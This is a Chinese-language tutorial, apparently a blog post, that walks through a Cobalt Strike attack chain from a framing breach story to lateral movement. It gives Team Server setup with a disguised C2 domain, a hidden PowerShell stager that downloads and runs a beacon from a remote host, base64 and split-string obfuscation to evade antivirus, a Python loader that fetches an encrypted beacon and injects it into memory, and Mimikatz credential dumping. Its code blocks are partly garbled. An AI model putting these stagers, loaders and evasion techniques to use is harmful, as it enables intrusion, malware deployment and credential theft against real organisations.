一、渗透案例:一场「无声入侵」的开始

让我们从一个真实的渗透案例讲起。某知名企业的研发部门,内部使用了一套过时的资产管理系统,用来处理研发设备的信息。攻击者通过公开的信息收集发现,这个管理系统暴露在互联网,并且运行的是一个知名的老版本 Web 应用。通过漏洞库验证,该版本存在漏洞,攻击者可以利用未授权访问直接读取数据库内容。

更重要的是,通过数据库中的用户信息,攻击者找到了研发部门一名员工的登录凭证,并通过社工手段进一步获取了这名员工的终端环境。接下来,攻击者的目标很明确:通过 Cobalt Strike 这一红队利器,完成对目标内网的进一步渗透和控制。

本文将以这个案例为主线,详细讲解如何通过 Cobalt Strike 工具实现从外网打点到内网横向移动的完整攻击链。

---

二、Cobalt Strike 的攻击原理拆解

Cobalt Strike 是红队从业人员中无比熟悉的一个工具,但对于初学者来说,它的工作原理可能显得有些神秘。这里我们来简化说明它的核心概念,让你迅速上手。

核心组成部分

  1. Team Server
  2. Cobalt Strike 的中枢。它是一个基于 Java 的服务端应用,负责与攻击者的客户端交互、管理上线的 Beacon,以及生成各种 Payload。

  1. Beacon
  2. Cobalt Strike 的攻击载荷,通常以恶意代码的形式部署到受害者机器上。Beacon 的核心功能包括:命令执行、文件操作、流量代理等。

  1. C2 通信
  2. Beacon 的流量伪装能力,是它能够绕过检测工具的一大法宝。通过 HTTP、HTTPS、DNS 等协议进行加密通讯,同时伪装成正常流量。

攻击链中的位置

在渗透测试的每个阶段,Cobalt Strike 都能发挥巨大作用:

  • 起初,作为 Payload 生成工具,帮助我们将恶意代码隐藏在合法文档或脚本中;
  • 随后,通过 Beacon 实现对目标机器的控制;
  • 最后,利用 Beacon 提供的功能完成横向移动和权限维持。

---

三、环境搭建:让 Team Server 跑起来

在实际攻击中,Cobalt Strike 的 Team Server 通常部署在云服务器上,因此我们这里以 VPS 为例,搭建一个最基本的 Cobalt Strike 环境。

环境准备

  • 服务器:一台干净的 VPS,推荐使用 Ubuntu 20.04 系统。
  • 域名:用于与目标通信的 C2 域名,建议使用伪装性强、看似正常的二级域名,如 update.example.com
  • 证书:为 HTTPS 通信准备 Let's Encrypt 的 SSL 证书。

以下是完整的搭建步骤:

<pre><code class="language-bash"># 1. 更新系统 sudo apt update &amp;&amp; sudo apt upgrade -y

2. 安装必要环境

sudo apt install openjdk-11-jre unzip -y

黑客示意图

3. 下载 Cobalt Strike

假设你已经获取到了合法的 Cobalt Strike 安装包

wget http://example.com/cobaltstrike.zip unzip cobaltstrike.zip -d cobaltstrike

4. 配置 Team Server

cd cobaltstrike ./teamserver &lt;你的公网IP&gt; &lt;密码&gt;

5. 配置防火墙

sudo ufw allow 50050/tcp # 默认的 Team Server 端口 sudo ufw allow 80,443/tcp # 为 HTTP/HTTPS C2 通信开放的端口 sudo ufw enable</code></pre>

几分钟后,你的 Cobalt Strike Team Server 就可以正常运行了。接着,我们需要为它生成一个伪装的 Payload,用于在目标环境中投放。

---

四、Payload 构造的艺术

在渗透案例中,攻击者希望通过 Cobalt Strike 的 Beacon 来控制目标主机,但直接生成的 Payload 很容易被杀软检测拦截。这里,我们需要对 Payload 进行免杀处理。

生成初始的恶意载荷

首先,让 Team Server 生成一个标准的 HTTP Beacon:

<pre><code class="language-bash"># 在 Cobalt Strike 客户端中,生成 HTTP Beacon Listeners &gt; Add &gt; HTTP &gt; 配置域名等参数 Attacks &gt; Web Drive-by &gt; Exported Payload</code></pre>

接下来,我们以 PowerShell 脚本形式导出 Payload:

<pre><code class="language-bash"># 从 Team Server 导出的 PowerShell 脚本示例 powershell -nop -w hidden -c &quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/beacon.ps1&#039;); Invoke-Stager&quot;</code></pre>

绕过杀软的免杀技巧

直接使用上述脚本,几乎 100% 会被杀毒软件查杀。以下是几种常见的免杀方法:

黑客示意图

  1. 字符串混淆
  2. 将 PowerShell 脚本中的关键字符串(如 DownloadString)进行加密或替换:

<pre><code class="language-powershell"> $s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(&#039;aHR0cDovL2V4YW1wbGUuY29tL2JlYWNvbi5wczE=&#039;)) IEX (New-Object Net.WebClient).DownloadString($s) `

  1. 代码分段执行
  2. 将脚本分成多个小段,每段单独执行,避免被整体扫描:

`powershell $part1=&quot;IEX (New-Object Net.WebClient).&quot; $part2=&quot;DownloadString(&#039;http://example.com/beacon.ps1&#039;)&quot; Invoke-Expression ($part1+$part2) `

  1. 自定义加载器
  2. 使用 Python 或其他语言实现一个小型加载器,将恶意代码动态注入内存。

以下是一个简单的 Python 加载器示例: </code></pre>python import base64 import requests import ctypes

从远程服务器下载 Beacon(已加密)

url = "http://example.com/encrypted_beacon.bin" response = requests.get(url) encrypted_beacon = response.content

解密并加载 Beacon 到内存

key = b'secret_key' # 使用对称加密密钥 beacon = bytes([b ^ key[i % len(key)] for i, b in enumerate(encrypted_beacon)]) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(beacon), 0x3000, 0x40) ctypes.memmove(ptr, beacon, len(beacon)) ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) <pre><code> 这种方式有效降低了被传统杀软检测的风险。

---

五、横向移动:渗透内网的艺术

当 Payload 成功上线后,我们已经获得了受害者机器的控制权。接下来,攻击者的目标是通过横向移动进一步渗透内网。

收集内网信息

  1. 枚举域信息
  2. 使用 Beacon 提供的 net 命令,枚举内网用户和计算机资源: `bash net view net user /domain `

黑客示意图

  1. 检查共享目录
  2. 找到可能存储敏感文件的共享资源: `bash net share `

  1. 网络扫描
  2. 使用 portscan 模块快速扫描内网的开放端口: `bash portscan 192.168.1.0/24 `

凭证抓取

通过 Mimikatz 模块提取内存中的用户凭证:</code></pre>bash load mimikatz mimikatz sekurlsa::logonpasswords `

---

六、个人经验:规避检测的关键点

从长期的实战经验来看,以下几点能够显著提升攻击的隐蔽性:

  1. 流量伪装
  2. 为 C2 通信使用 HTTPS 协议,并将域名伪装成合法网站。

  1. 动态载荷
  2. 利用自定义加载器,动态加载 Beacon,而非直接执行。

  1. 多层混淆
  2. 无论是代码还是网络流量,都需要多层加密、混淆以规避检测。

  1. 分布式 C2
  2. 同时使用多个 Team Server,降低单点失败的风险。

---

合法声明 本文所述内容仅限于授权的安全测试与学习研究,任何未授权使用造成的法律责任与作者无关。